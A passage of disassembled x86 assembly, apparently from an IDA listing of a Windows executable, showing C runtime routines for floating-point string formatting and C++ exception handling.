XREF: sub_4218DB+2Bj test eax, eax jnz short loc_4218EF loc_42191B: ; CODE XREF: sub_4218DB+12j mov cl, byte_43C508 mov al, [esi] mov [esi], cl inc esi loc_421926: ; CODE XREF: sub_4218DB+56j mov cl, [esi] mov [esi], al mov al, cl mov cl, [esi] inc esi test cl, cl jnz short loc_421926 pop esi retn sub_4218DB endp ; =============== S U B R O U T I N E ======================================= sub_421935 proc near ; CODE XREF: sub_41F69F+3E2p ; DATA XREF: sub_41C760+5o ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dl, byte_43C508 mov cl, [eax] test cl, cl jz short loc_421951 loc_421945: ; CODE XREF: sub_421935+1Aj cmp cl, dl jz short loc_421951 mov cl, [eax+1] inc eax test cl, cl jnz short loc_421945 loc_421951: ; CODE XREF: sub_421935+Ej ; sub_421935+12j mov cl, [eax] inc eax test cl, cl jz short locret_421982 loc_421958: ; CODE XREF: sub_421935+34j mov cl, [eax] test cl, cl jz short loc_42196B cmp cl, 65h jz short loc_42196B cmp cl, 45h jz short loc_42196B inc eax jmp short loc_421958 ; --------------------------------------------------------------------------- loc_42196B: ; CODE XREF: sub_421935+27j ; sub_421935+2Cj ... mov ecx, eax loc_42196D: ; CODE XREF: sub_421935+3Cj dec eax cmp byte ptr [eax], 30h jz short loc_42196D cmp [eax], dl jnz short loc_421978 dec eax loc_421978: ; CODE XREF: sub_421935+40j ; sub_421935+4Bj mov dl, [ecx] inc eax inc ecx test dl, dl mov [eax], dl jnz short loc_421978 locret_421982: ; CODE XREF: sub_421935+21j retn sub_421935 endp ; =============== S U B R O U T I N E ======================================= sub_421983 proc near ; DATA XREF: sub_41C760+28o ; ___:off_43C8B0o arg_0 = dword ptr 4 mov eax, [esp+arg_0] fld qword ptr [eax] fcomp dbl_427880 fnstsw ax sahf jb short loc_421998 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_421998: ; CODE XREF: sub_421983+Fj xor eax, eax retn sub_421983 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42199B proc near ; CODE XREF: sub_420510+430p ; DATA XREF: sub_41C760+14o ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_8] jz short loc_4219C4 lea eax, [ebp+var_8] push eax call sub_424518 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx leave retn ; --------------------------------------------------------------------------- loc_4219C4: ; CODE XREF: sub_42199B+Cj lea eax, [ebp+arg_8] push eax call sub_424545 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+arg_8] mov [eax], ecx leave retn sub_42199B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4219D9 proc near ; CODE XREF: sub_421C56+17p ; sub_421CA0+47p var_10 = qword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp byte_4DB310, 0 push ebx push esi jz short loc_421A0E mov ebx, [ebp+arg_8] mov eax, dword_4DB30C xor ecx, ecx mov esi, eax test ebx, ebx setnle cl push ecx xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl add ecx, [ebp+arg_4] push ecx call sub_421CF1 pop ecx pop ecx jmp short loc_421A46 ; --------------------------------------------------------------------------- loc_421A0E: ; CODE XREF: sub_4219D9+Cj mov eax, [ebp+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+10h+var_10] call sub_4245E9 mov ebx, [ebp+arg_8] mov esi, eax push esi mov edx, [ebp+arg_4] lea eax, [ebx+1] push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al xor ecx, ecx test ebx, ebx setnle cl add edx, eax add ecx, edx push ecx call sub_424572 add esp, 14h loc_421A46: ; CODE XREF: sub_4219D9+33j cmp dword ptr [esi], 2Dh mov eax, [ebp+arg_4] jnz short loc_421A52 mov byte ptr [eax], 2Dh inc eax loc_421A52: ; CODE XREF: sub_4219D9+73j test ebx, ebx jle short loc_421A6A mov cl, [eax+1] push edi lea edi, [eax+1] mov [eax], cl mov cl, byte_43C508 mov eax, edi pop edi mov [eax], cl loc_421A6A: ; CODE XREF: sub_4219D9+7Bj xor ecx, ecx push offset aE000 ; "e+000" cmp byte_4DB310, cl setz cl add ecx, eax add ecx, ebx push ecx call sub_41BEB0 cmp [ebp+arg_C], 0 pop ecx pop ecx mov ecx, eax jz short loc_421A91 mov byte ptr [ecx], 45h loc_421A91: ; CODE XREF: sub_4219D9+B3j mov eax, [esi+0Ch] inc ecx cmp byte ptr [eax], 30h jz short loc_421AD6 mov ebx, [esi+4] dec ebx jns short loc_421AA5 neg ebx mov byte ptr [ecx], 2Dh loc_421AA5: ; CODE XREF: sub_4219D9+C5j inc ecx cmp ebx, 64h jl short loc_421ABC mov eax, ebx push 64h cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_421ABC: ; CODE XREF: sub_4219D9+D0j inc ecx cmp ebx, 0Ah jl short loc_421AD3 mov eax, ebx push 0Ah cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_421AD3: ; CODE XREF: sub_4219D9+E7j add [ecx+1], bl loc_421AD6: ; CODE XREF: sub_4219D9+BFj mov eax, [ebp+arg_4] pop esi pop ebx pop ebp retn sub_4219D9 endp ; =============== S U B R O U T I N E ======================================= sub_421ADD proc near ; CODE XREF: sub_421C7D+13p ; sub_421CA0+1Ep var_18 = qword ptr -18h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp byte_4DB310, 0 push ebx push ebp mov ebp, [esp+8+arg_4] push esi push edi jz short loc_421B18 mov eax, dword_4DB314 mov ebx, [esp+10h+arg_8] mov esi, dword_4DB30C cmp eax, ebx jnz short loc_421B48 xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl add ecx, eax add ecx, ebp mov eax, ecx mov byte ptr [eax], 30h and byte ptr [eax+1], 0 jmp short loc_421B48 ; --------------------------------------------------------------------------- loc_421B18: ; CODE XREF: sub_421ADD+Fj mov eax, [esp+10h+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+18h+var_18] call sub_4245E9 mov ebx, [esp+18h+arg_8] mov esi, eax push esi mov eax, [esi+4] add eax, ebx push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al add eax, ebp push eax call sub_424572 add esp, 14h loc_421B48: ; CODE XREF: sub_421ADD+22j ; sub_421ADD+39j cmp dword ptr [esi], 2Dh mov edi, ebp jnz short loc_421B56 mov byte ptr [ebp+0], 2Dh lea edi, [ebp+1] loc_421B56: ; CODE XREF: sub_421ADD+70j mov eax, [esi+4] test eax, eax jg short loc_421B6D push 1 push edi call sub_421CF1 pop ecx mov byte ptr [edi], 30h pop ecx inc edi jmp short loc_421B6F ; --------------------------------------------------------------------------- loc_421B6D: ; CODE XREF: sub_421ADD+7Ej add edi, eax loc_421B6F: ; CODE XREF: sub_421ADD+8Ej test ebx, ebx jle short loc_421BB4 push 1 push edi call sub_421CF1 mov al, byte_43C508 pop ecx mov [edi], al mov esi, [esi+4] inc edi pop ecx test esi, esi jge short loc_421BB4 cmp byte_4DB310, 0 jz short loc_421B99 neg esi jmp short loc_421B9F ; --------------------------------------------------------------------------- loc_421B99: ; CODE XREF: sub_421ADD+B6j neg esi cmp ebx, esi jl short loc_421BA1 loc_421B9F: ; CODE XREF: sub_421ADD+BAj mov ebx, esi loc_421BA1: ; CODE XREF: sub_421ADD+C0j push ebx push edi call sub_421CF1 push ebx push 30h push edi call sub_41B590 add esp, 14h loc_421BB4: ; CODE XREF: sub_421ADD+94j ; sub_421ADD+ADj pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_421ADD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421BBB proc near ; CODE XREF: sub_421CA0+34p var_14 = qword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_0] push ecx push ecx fld qword ptr [edi] fstp [esp+14h+var_14] call sub_4245E9 mov dword_4DB30C, eax mov ecx, [eax+4] dec ecx mov ebx, [ebp+arg_8] mov dword_4DB314, ecx xor ecx, ecx cmp dword ptr [eax], 2Dh push eax push ebx setz cl add ecx, [ebp+arg_4] mov esi, ecx push esi call sub_424572 mov eax, dword_4DB30C add esp, 14h mov ecx, [eax+4] dec ecx cmp dword_4DB314, ecx setl cl mov byte_4DB318, cl mov eax, [eax+4] dec eax cmp eax, 0FFFFFFFCh mov dword_4DB314, eax jl short loc_421C41 cmp eax, ebx jge short loc_421C41 test cl, cl jz short loc_421C32 loc_421C28: ; CODE XREF: sub_421BBB+72j mov al, [esi] inc esi test al, al jnz short loc_421C28 and [esi-2], al loc_421C32: ; CODE XREF: sub_421BBB+6Bj push ebx push [ebp+arg_4] push edi call sub_421C7D add esp, 0Ch jmp short loc_421C51 ; --------------------------------------------------------------------------- loc_421C41: ; CODE XREF: sub_421BBB+63j ; sub_421BBB+67j push [ebp+arg_C] push ebx push [ebp+arg_4] push edi call sub_421C56 add esp, 10h loc_421C51: ; CODE XREF: sub_421BBB+84j pop edi pop esi pop ebx pop ebp retn sub_421BBB endp ; =============== S U B R O U T I N E ======================================= sub_421C56 proc near ; CODE XREF: sub_421BBB+8Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] mov byte_4DB310, 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_4219D9 and byte_4DB310, 0 add esp, 10h retn sub_421C56 endp ; =============== S U B R O U T I N E ======================================= sub_421C7D proc near ; CODE XREF: sub_421BBB+7Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] mov byte_4DB310, 1 push [esp+4+arg_4] push [esp+8+arg_0] call sub_421ADD and byte_4DB310, 0 add esp, 0Ch retn sub_421C7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421CA0 proc near ; CODE XREF: sub_41F69F+3AAp ; DATA XREF: sub_41C760o ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_421CDB cmp [ebp+arg_8], 45h jz short loc_421CDB cmp [ebp+arg_8], 66h jnz short loc_421CC8 push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_421ADD add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- loc_421CC8: ; CODE XREF: sub_421CA0+13j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_421BBB jmp short loc_421CEC ; --------------------------------------------------------------------------- loc_421CDB: ; CODE XREF: sub_421CA0+7j ; sub_421CA0+Dj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_4219D9 loc_421CEC: ; CODE XREF: sub_421CA0+39j add esp, 10h pop ebp retn sub_421CA0 endp ; =============== S U B R O U T I N E ======================================= sub_421CF1 proc near ; CODE XREF: sub_4219D9+2Cp ; sub_421ADD+83p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] test edi, edi jz short loc_421D14 push esi mov esi, [esp+8+arg_0] push esi call sub_41AFE0 inc eax push eax push esi add esi, edi push esi call sub_41CC90 add esp, 10h pop esi loc_421D14: ; CODE XREF: sub_421CF1+7j pop edi retn sub_421CF1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421D16 proc near ; CODE XREF: ___:0041C940p ; sub_41C9A9+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push esi mov esi, [ebp+arg_10] push edi mov edi, 19930520h cmp [esi], edi jz short loc_421D2C call sub_4225B2 loc_421D2C: ; CODE XREF: sub_421D16+Fj mov eax, [ebp+arg_0] test byte ptr [eax+4], 66h jz short loc_421D54 cmp dword ptr [esi+4], 0 jz short loc_421DAA cmp [ebp+arg_14], 0 jnz short loc_421DAA push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_42205D add esp, 10h jmp short loc_421DAA ; --------------------------------------------------------------------------- loc_421D54: ; CODE XREF: sub_421D16+1Dj cmp dword ptr [esi+0Ch], 0 jz short loc_421DAA cmp dword ptr [eax], 0E06D7363h jnz short loc_421D8E cmp [eax+14h], edi jbe short loc_421D8E mov ecx, [eax+1Ch] mov ecx, [ecx+8] test ecx, ecx jz short loc_421D8E movzx edx, byte ptr [ebp+arg_1C] push edx push [ebp+arg_18] push [ebp+arg_14] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call ecx add esp, 20h jmp short loc_421DAD ; --------------------------------------------------------------------------- loc_421D8E: ; CODE XREF: sub_421D16+4Aj ; sub_421D16+4Fj ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call sub_421DB1 add esp, 20h loc_421DAA: ; CODE XREF: sub_421D16+23j ; sub_421D16+29j ... push 1 pop eax loc_421DAD: ; CODE XREF: sub_421D16+76j pop edi pop esi pop ebp retn sub_421D16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421DB1 proc near ; CODE XREF: sub_421D16+8Cp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_4] and byte ptr [ebp+var_14], 0 mov eax, [eax+8] cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jl short loc_421DD1 mov ecx, [ebp+arg_10] cmp eax, [ecx+4] jl short loc_421DD6 loc_421DD1: ; CODE XREF: sub_421DB1+16j call sub_4225B2 loc_421DD6: ; CODE XREF: sub_421DB1+1Ej push ebx push esi mov esi, [ebp+arg_0] mov ebx, 0E06D7363h push edi mov edi, 19930520h cmp [esi], ebx jnz loc_421F2D cmp dword ptr [esi+10h], 3 jnz short loc_421E4A cmp [esi+14h], edi jnz short loc_421E4A cmp dword ptr [esi+1Ch], 0 jnz short loc_421E4A mov esi, dword_4DB31C test esi, esi jz loc_421F28 mov eax, dword_4DB320 push 1 push esi mov [ebp+arg_8], eax mov byte ptr [ebp+var_14], 1 call sub_424770 pop ecx test eax, eax pop ecx jnz short loc_421E2C call sub_4225B2 loc_421E2C: ; CODE XREF: sub_421DB1+74j cmp [esi], ebx jnz loc_421F2D cmp dword ptr [esi+10h], 3 jnz short loc_421E4A cmp [esi+14h], edi jnz short loc_421E4A cmp dword ptr [esi+1Ch], 0 jnz short loc_421E4A call sub_4225B2 loc_421E4A: ; CODE XREF: sub_421DB1+41j ; sub_421DB1+46j ... cmp [esi], ebx jnz loc_421F2D cmp dword ptr [esi+10h], 3 jnz loc_421F2D cmp [esi+14h], edi jnz loc_421F2D mov edi, [ebp+var_10] lea eax, [ebp+var_18] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41CAF7 add esp, 14h mov ebx, eax loc_421E81: ; CODE XREF: sub_421DB1+162j mov eax, [ebp+var_4] cmp eax, [ebp+var_18] jnb loc_421F18 cmp [ebx], edi jg short loc_421F0D cmp edi, [ebx+4] jg short loc_421F0D mov eax, [ebx+10h] mov [ebp+arg_0], eax mov eax, [ebx+0Ch] test eax, eax mov [ebp+var_C], eax jle short loc_421F0A loc_421EA6: ; CODE XREF: sub_421DB1+131j mov eax, [esi+1Ch] mov eax, [eax+0Ch] lea edi, [eax+4] mov eax, [eax] test eax, eax mov [ebp+var_8], eax jle short loc_421ED7 loc_421EB8: ; CODE XREF: sub_421DB1+124j push dword ptr [esi+1Ch] push dword ptr [edi] push [ebp+arg_0] call sub_422000 add esp, 0Ch test eax, eax jnz short loc_421EE6 dec [ebp+var_8] add edi, 4 cmp [ebp+var_8], eax jg short loc_421EB8 loc_421ED7: ; CODE XREF: sub_421DB1+105j dec [ebp+var_C] add [ebp+arg_0], 10h cmp [ebp+var_C], 0 jg short loc_421EA6 jmp short loc_421F0A ; --------------------------------------------------------------------------- loc_421EE6: ; CODE XREF: sub_421DB1+119j push [ebp+var_14] push [ebp+arg_1C] push [ebp+arg_18] push ebx push dword ptr [edi] push [ebp+arg_0] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_422111 ; --------------------------------------------------------------------------- add esp, 2Ch loc_421F0A: ; CODE XREF: sub_421DB1+F3j ; sub_421DB1+133j mov edi, [ebp+var_10] loc_421F0D: ; CODE XREF: sub_421DB1+DEj ; sub_421DB1+E3j inc [ebp+var_4] add ebx, 14h jmp loc_421E81 ; --------------------------------------------------------------------------- loc_421F18: ; CODE XREF: sub_421DB1+D6j cmp [ebp+arg_14], 0 jz short loc_421F28 push 1 push esi call sub_422486 pop ecx pop ecx loc_421F28: ; CODE XREF: sub_421DB1+56j ; sub_421DB1+16Bj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_421F2D: ; CODE XREF: sub_421DB1+37j ; sub_421DB1+7Dj ... cmp [ebp+arg_14], 0 jnz short loc_421F53 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_10] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_421F58 add esp, 20h jmp short loc_421F28 ; --------------------------------------------------------------------------- loc_421F53: ; CODE XREF: sub_421DB1+180j jmp sub_42255C sub_421DB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421F58 proc near ; CODE XREF: sub_421DB1+198p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx cmp dword_4DB324, 0 push esi push edi jz short loc_421F89 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41C9CE add esp, 1Ch test eax, eax jnz short loc_421FFC loc_421F89: ; CODE XREF: sub_421F58+Ej mov edi, [ebp+arg_14] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41CAF7 add esp, 14h mov esi, eax loc_421FA5: ; CODE XREF: sub_421F58+A2j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jnb short loc_421FFC cmp edi, [esi] jl short loc_421FF4 cmp edi, [esi+4] jg short loc_421FF4 mov eax, [esi+0Ch] mov ecx, [esi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_421FCE cmp byte ptr [ecx+8], 0 jnz short loc_421FF4 loc_421FCE: ; CODE XREF: sub_421F58+6Ej push 1 add eax, 0FFFFFFF0h push [ebp+arg_1C] push [ebp+arg_18] push esi push 0 push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_422111 ; --------------------------------------------------------------------------- add esp, 2Ch loc_421FF4: ; CODE XREF: sub_421F58+57j ; sub_421F58+5Cj ... inc [ebp+var_4] add esi, 14h jmp short loc_421FA5 ; --------------------------------------------------------------------------- loc_421FFC: ; CODE XREF: sub_421F58+2Fj ; sub_421F58+53j pop edi pop esi leave retn sub_421F58 endp ; =============== S U B R O U T I N E ======================================= sub_422000 proc near ; CODE XREF: sub_421DB1+10Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] mov eax, [edi+4] test eax, eax jz short loc_422057 cmp byte ptr [eax+8], 0 lea edx, [eax+8] jz short loc_422057 mov esi, [esp+8+arg_4] mov ecx, [esi+4] cmp eax, ecx jz short loc_422031 add ecx, 8 push ecx push edx call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_422053 loc_422031: ; CODE XREF: sub_422000+1Fj test byte ptr [esi], 2 jz short loc_42203B test byte ptr [edi], 8 jz short loc_422053 loc_42203B: ; CODE XREF: sub_422000+34j mov eax, [esp+8+arg_8] mov eax, [eax] test al, 1 jz short loc_42204A test byte ptr [edi], 1 jz short loc_422053 loc_42204A: ; CODE XREF: sub_422000+43j test al, 2 jz short loc_422057 test byte ptr [edi], 2 jnz short loc_422057 loc_422053: ; CODE XREF: sub_422000+2Fj ; sub_422000+39j ... xor eax, eax jmp short loc_42205A ; --------------------------------------------------------------------------- loc_422057: ; CODE XREF: sub_422000+Bj ; sub_422000+14j ... push 1 pop eax loc_42205A: ; CODE XREF: sub_422000+55j pop edi pop esi retn sub_422000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42205D proc near ; CODE XREF: sub_421D16+34p ; ___:00422153p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278C8 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] mov esi, [ebx+8] mov [ebp+var_1C], esi mov edi, [ebp+arg_8] loc_42208F: ; CODE XREF: sub_42205D+8Aj cmp esi, [ebp+arg_C] jz short loc_4220E9 cmp esi, 0FFFFFFFFh jle short loc_42209E cmp esi, [edi+4] jl short loc_4220A3 loc_42209E: ; CODE XREF: sub_42205D+3Aj call sub_4225B2 loc_4220A3: ; CODE XREF: sub_42205D+3Fj and [ebp+var_4], 0 mov eax, [edi+8] mov eax, [eax+esi*8+4] test eax, eax jz short loc_4220BE push 103h push ebx push eax call sub_422510 loc_4220BE: ; CODE XREF: sub_42205D+53j or [ebp+var_4], 0FFFFFFFFh jmp short loc_4220DE ; --------------------------------------------------------------------------- push [ebp+var_14] call sub_4220FB pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_1C] loc_4220DE: ; CODE XREF: sub_42205D+65j mov eax, [edi+8] mov esi, [eax+esi*8] mov [ebp+var_1C], esi jmp short loc_42208F ; --------------------------------------------------------------------------- loc_4220E9: ; CODE XREF: sub_42205D+35j mov [ebx+8], esi mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_42205D endp ; =============== S U B R O U T I N E ======================================= sub_4220FB proc near ; CODE XREF: sub_42205D+6Ap arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jz short loc_42210C xor eax, eax retn ; --------------------------------------------------------------------------- loc_42210C: ; CODE XREF: sub_4220FB+Cj jmp sub_42255C sub_4220FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_422111 proc near ; CODE XREF: sub_421DB1+151p ; sub_421F58+94p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_24 = dword ptr 2Ch push ebp mov ebp, esp cmp [ebp+arg_18], 0 push ebx mov ebx, [ebp+arg_14] push esi push edi mov edi, [ebp+arg_4] jz short loc_422133 push [ebp+arg_18] push ebx push edi push [ebp+arg_0] call sub_4222C2 add esp, 10h loc_422133: ; CODE XREF: sub_422111+10j cmp [ebp+arg_24], 0 push [ebp+arg_0] jnz short loc_42213F push edi jmp short loc_422142 ; --------------------------------------------------------------------------- loc_42213F: ; CODE XREF: sub_422111+29j push [ebp+arg_24] loc_422142: ; CODE XREF: sub_422111+2Cj call sub_41C8D0 sub_422111 endp ; --------------------------------------------------------------------------- mov esi, [ebp+24h] push dword ptr [esi] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push edi call sub_42205D mov eax, [esi+4] push 100h push dword ptr [ebp+28h] inc eax mov [edi+8], eax push dword ptr [ebx+0Ch] push dword ptr [ebp+18h] push dword ptr [ebp+10h] push edi push dword ptr [ebp+8] call sub_42218C add esp, 2Ch test eax, eax jz short loc_422187 push edi push eax call sub_41C88E loc_422187: ; CODE XREF: ___:0042217Ej pop edi pop esi pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42218C proc near ; CODE XREF: ___:00422174p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278D8 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_10] mov [ebp+var_2C], eax xor ebx, ebx mov [ebp+var_24], ebx mov esi, [ebp+arg_4] mov ecx, [esi-4] mov [ebp+var_28], ecx mov ecx, dword_4DB31C mov [ebp+var_1C], ecx mov ecx, dword_4DB320 mov [ebp+var_20], ecx mov edi, [ebp+arg_0] mov dword_4DB31C, edi mov ecx, [ebp+arg_8] mov dword_4DB320, ecx mov [ebp+var_4], ebx mov [ebp+var_4], 1 push [ebp+arg_18] push [ebp+arg_14] push eax push [ebp+arg_C] push esi call sub_41C955 add esp, 14h mov [ebp+var_2C], eax mov [ebp+var_4], ebx or [ebp+var_4], 0FFFFFFFFh call sub_422252 mov eax, [ebp+var_2C] loc_422219: ; CODE XREF: sub_422232+16j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_42218C endp ; =============== S U B R O U T I N E ======================================= sub_422228 proc near ; DATA XREF: ___:004278E8o push dword ptr [ebp-14h] call sub_422298 pop ecx retn sub_422228 endp ; =============== S U B R O U T I N E ======================================= sub_422232 proc near ; DATA XREF: ___:004278ECo mov esp, [ebp-18h] and dword ptr [ebp-2Ch], 0 push 0FFFFFFFFh lea eax, [ebp-10h] push eax call sub_41CBB6 pop ecx pop ecx xor eax, eax jmp short loc_422219 sub_422232 endp ; --------------------------------------------------------------------------- loc_42224A: ; DATA XREF: ___:004278E0o xor ebx, ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] ; =============== S U B R O U T I N E ======================================= sub_422252 proc near ; CODE XREF: sub_42218C+85p mov eax, [ebp-28h] mov [esi-4], eax mov eax, [ebp-1Ch] mov dword_4DB31C, eax mov eax, [ebp-20h] mov dword_4DB320, eax cmp dword ptr [edi], 0E06D7363h jnz short locret_422297 cmp dword ptr [edi+10h], 3 jnz short locret_422297 cmp dword ptr [edi+14h], 19930520h jnz short locret_422297 cmp [ebp-24h], ebx jnz short locret_422297 cmp [ebp-2Ch], ebx jz short locret_422297 call sub_41CC1E push eax push edi call sub_422486 pop ecx pop ecx locret_422297: ; CODE XREF: sub_422252+1Cj ; sub_422252+22j ... retn sub_422252 endp ; =============== S U B R O U T I N E ======================================= sub_422298 proc near ; CODE XREF: sub_422228+3p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jnz short loc_4222BF cmp dword ptr [eax+10h], 3 jnz short loc_4222BF cmp dword ptr [eax+14h], 19930520h jnz short loc_4222BF cmp dword ptr [eax+1Ch], 0 jnz short loc_4222BF push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4222BF: ; CODE XREF: sub_422298+Cj ; sub_422298+12j ... xor eax, eax retn sub_422298 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4222C2 proc near ; CODE XREF: sub_422111+1Ap var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278F0 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ecx, [ebp+arg_8] mov eax, [ecx+4] test eax, eax jz loc_42246B cmp byte ptr [eax+8], 0 jz loc_42246B mov eax, [ecx+8] test eax, eax jz loc_42246B mov edx, [ebp+arg_4] lea edi, [eax+edx+0Ch] and [ebp+var_4], 0 test byte ptr [ecx], 8 jz short loc_42235F mov esi, [ebp+arg_0] push 1 push dword ptr [esi+18h] call 